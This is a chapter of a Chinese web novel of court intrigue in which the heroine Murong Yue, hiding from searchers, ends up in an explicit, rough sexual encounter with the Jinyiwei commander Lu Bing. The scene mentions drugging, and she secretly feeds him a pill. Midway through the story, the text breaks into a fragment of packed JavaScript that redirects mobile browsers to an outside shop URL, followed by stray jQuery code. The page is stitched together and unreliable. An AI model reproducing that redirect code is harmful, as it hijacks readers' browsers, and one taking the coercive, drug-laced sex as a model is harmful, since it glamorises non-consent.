琉璃灯笼一盏接一盏地亮了起来,明亮的灯火在雕花回廊间逸散,映得院中树影晃乱。

    侍卫踩着木制楼梯上下奔走,靴声咚咚,在这静谧夜色中显得格外急促。

    慕容玥困在方寸之地动弹不得,身后是冰凉的山墙,左侧是高及房梁的书架,右侧则是另一面堆满经年旧册的木质大架。

    她被挤压在墙壁与书架之间的窄隙中,身前还横着一摞摞散落的书卷,几乎将她的身形吞没。

    唯一的出口被一个高大的黑影死死堵住。

    她屏住呼吸,指尖已暗暗握住袖中的匕首,心跳如擂鼓。

    然而那黑影却忽然低低笑了一声。未等她反应,他已低头,吻住了她的唇。

    慕容玥浑身一僵,脑中瞬间空白。

    偏在这时,一道烛光透过书卷的缝隙摇晃着探了进来。

    陈述暗黑色的眼瞳顺着狭窄的缝隙望了进来,光线在册脊间跳跃,堪堪掠过她额前的碎发,再往前一寸便会照见她的面容。

    黑衣人的手不轻不重地落在她的腰侧,掌心隔着薄薄的春衫摩挲了一下。

    慕容玥呼吸一滞,她很想动手,但她此刻喉间发紧,口不能言,指尖的匕首亦被他滚烫的掌心覆住,轻轻捏紧,制止了她的动作。

    “大人,楼上无人。”

    脚步声从头顶传来,陈述抬手抽出一册书卷,朝深处窥了一眼。满目尽是蒙尘的旧籍,什么也瞧不见。

    “大人,仓房也无异状。”

    陈述将书卷推回原位,烛火缓缓撤去。慕容玥的眸子再次沉入一片漆黑,四周只剩两人交错的呼吸。

    门扇阖上的瞬间,她下颌一痛,那人的拇指与食指不轻不重地捏住了她的下巴,迫她张口,温热的舌便长驱直入。

    她死死咬住牙关,不敢出声,唯恐陈述一行去而复返。

    她被迫仰起头,本就单薄的空气再次压缩,她喘不过来气。

    待到慕容玥头晕目眩,控制不住地贴着墙壁往下滑,那人才终于松开她,退后半步,轻笑了一声:“这次怎么这么乖?”

    慕容玥撑住一旁的书架,扬手便是一掌,那人也不躲,硬生生挨了一记,偏了偏头,嘴角却还噙着笑。

    “慕容姑娘可真是恩将仇报。方才若不是我,你已经被挑断脚筋关进待质所的水牢了。”

    慕容玥恍惚间回过神来,目光定定地望着眼前带着残忍笑意的脸:“陆秉……你说什么?”

    陆秉自她手中轻巧地夺过匕首,刀光一闪,稳稳地还入她腰间的刀鞘。

    他今日穿了一身玄色劲装,腰间悬着锦衣卫指挥使的牙牌,虽未着飞鱼服,可那股凌厉的气势却分毫不减。

    “慕容姑娘,你以为他们方才兴师动众地在搜查什么?”

    慕容玥抬手掐住他的脖颈,掌心冰凉,指节微微发颤:“你为什么会出现在这里?到底发生了什么?”

    狭小的空间容不得两人缠斗。陆秉任由她掐着颈脉,神色半分未变,只低声道:“换个地方说话。”

    藏书阁位于后院深处,四面有高墙环抱,平日里少有人至。陆秉此番从京中秘密前来珉地,府中上下除萧衍的几名心腹之外,再无他人知晓。

    后院一带早已被陆秉的人暗中把守,前厅虽然乱作一团,陆秉却带着慕容玥穿廊过院,一路畅通无阻,径直回到了自己下榻的厢房。

    前厅早已打大乱,而他所住之处无人前来搜查,极其安静,慕容玥生出了一种荒谬的错觉。

    房中早已燃起烛火,琉璃灯罩拢着一团暖光,映得窗棂上的雕花影影绰绰。

    黄花梨的月牙桌靠窗而设,桌面光洁,上头搁着一只黑漆木匣,一尺见宽,匣盖闭合,不见其中所藏。

    慕容玥一眼便看见了那只匣子,心下一沉,忍不住往前走了几步。

    陆秉却侧身一步,拦在她面前,语气慵懒:“乱动我的东西,不太好吧。”

    衣袍的领口微敞,露出半截锁骨,带着几分漫不经心。慕容玥的目光被他严严实实地挡住,她微微仰起头,逼视着他:

    “你想要什么?陆大人此番来珉地,应当带来了重要的消息。不是朝中时局有变,便是边关起了战事。”

    “你猜得不错。”陆秉低头望着她,目光里带着一丝玩味,“不过,还有一个消息,关于你的父亲。”

    慕容玥缓缓低下头,碎发垂落,掩去了她面上的神情。陆秉低头去看,却难以捕捉她此刻的情绪。

    片刻之后,她再次开口,语声轻颤:“陆大人,你想要什么?”

    还是同样的问题。

    陆秉却沉默了。

    他不是个做好事不留名的人。他一向擅长邀功,擅长将三分功绩说成十分,擅长在天子面前天花乱坠地汇报。可面对慕容玥这样简单直接的问话,他却忽然失了言语。

    慕容玥却再次开口了,声音轻而稳:“去岁在留都之时,陆大人想要的东西,如今还作数么?”

    陆秉怔了片刻,随即笑开了:“自然。我此番来,就是讨要我的报酬的。”

    慕容玥解下腰间的匕首,又将袖中藏着的一封折子取出,轻轻放在木匣旁侧。

    她穿着一件藕荷色的窄袖上襦,下系月白长裙,腰间只余一根素色绦带,整个人清冷冷的,像一弯初冬的月。

    她抬手,一件件褪去身上的衣物。藕荷色的衣衫滑落肩头,露出里间素白的中衣,然后是纤细的锁骨,线条流畅的肩颈。

    陆秉仰面望着她,忽然间有些恍惚,他曾经那么想要得到的东西,如今正唾手可得。可这一刻真正来临时,他却只觉得掌心发麻,不知该做些什么。

    脚下是水磨青砖,步履无声,她走近了。

    “陆大人这次可要下药?”她问,“你敢么?”

    陆秉被她那双冰冷的眼神牵引着。那目光里毫无诱惑之意。

    那是一双全无风情的眼睛,像一朵纯白色的花,不染半分媚色。

    可他偏偏好奇,那双眼睛若是染上醉人的情欲会变成什么样子?还会这样冷淡么?

    慕容玥身上清淡的香气已然笼在他的周身,方才那个极其压抑的吻点燃了他沉寂已久的欲望。

    他偏头朝门口望了一眼,弯腰打横抱起她,几步走到床边,将她轻放在床榻之上,随即扯去腰间革带,整个人都压了上去。

    陆秉按着她的胯骨,低沉地笑道:“慕容姑娘可不要中途后悔。”

    慕容玥的身体僵硬了一瞬,随即强迫自己放松下来。

    她很快意识到陆秉不是个怜香惜玉的人。

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788138|210247||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >他伸手扯去她最后一件衣衫。

    慕容玥本能地挣扎了一下,却被一双带着粗糙的茧子的大手狠狠固定。

    “这么快就反悔了?”

    慕容玥僵硬地摇了摇头。

    陆秉低头看去,她腰间的伤口已经愈合,只剩下一道浅粉色的疤痕,暗红色的纹身横跨侧腰。

    一股无处宣泄的烦闷燥热在他的心口冲撞。

    陆秉的动作堪称粗暴,慕容玥常年训练的本能让她不止一次地想要动手。

    但一次次地控制了下来。

    她咬着牙逼迫自己保持清醒,但难忍的疼痛让她很快丧失了力气,整个腰身很快软了下来。

    眼底的水汽沁了出来,顺着脸颊,缓缓隐入发丝。她脸上一阵阵发烫,想说话但却不知如何开口。

    那压抑的抽泣声却极大地刺激了陆秉。

    她想伸手去推陆秉的手,颤抖的指尖最终顺着他肌肉贲张的手臂滑落了下去。

    痛苦让她比陆秉更加清醒,在情潮的间隙,她伸手朝枕下探去。

    随后翻身跨坐在他的身上。

    陆秉惊诧地望着她,在巨大的刺激之下,这个时候已经短暂地丧失了判断力。

    他凭借着本能掐住了她的腰。

    小腹的暗红色的卷草云纹在他的动作间不断地起伏。

    室内一角,冰块在碎裂坍塌。

    慕容玥眼眶泛着水红,水汽朦胧,汗水顺着脸颊流入锁骨。

    随后慕容玥低头吻住了他,无声地将一枚带着异香的药丸含于舌尖,欺身靠近,推入了他的口中。

    陆秉喉间一滚,药丸滑入腹中。

    很快,更加强烈的愉悦击穿了他。

    ……

    夜半,一匹通体纯黑的马自王府北门疾驰而出。

    烛火一层层暗了,东跨院待质所的客房之中,萧衍轻搂着怀中之人。

    夜深了,萧衍却比往常任何时候还要清醒。

    孟罍给卫莺时施针之后,吊着一口气,人却并未醒过来。

    马蹄声在门前停驻,陈述下马叩门。

    孟罍前去开了门,陈述风风火火地闯了进来,“禀告殿下,昨日接触王妃吃食汤药之人已尽数软禁,但……”

    “快说。”萧衍转过头,望向跪在一旁的陈述。

    “但慕容姑娘不见了。”

    “慕容玥……”萧衍的眼神暗了下来,“起来吧,怪我当初心慈手软。”

    陈述这才起身,往他的怀中望去,卫莺时面色苍白的可怕,唯有胸口还在微微起伏。

    “王妃住所的房门皆拍了人值守,其中的汤药吃食一一验了,却并未发现剧毒之物。”

    陈述将药渣递给一旁沉默的孟罍。

    孟罍将烛芯用剪刀剪了,随后将纱布摊开,秉烛细细查看。

    孟罍抚着灰白的胡须,点头道:“此为常见的风寒药不错,其中含半夏、贝母,还有瓜蒌……”

    孟罍停住了,将纱布一掩,“若是有人下毒,定不会这般明目张胆,王妃昨日吃了什么?”

    陈述将纸页递了过去,其中也并无异常。

    眉心紧紧皱了起来,“这就怪了……”

    陈述却像是忽然想起什么似的,“对了,边几上放着一碟梅子糖。”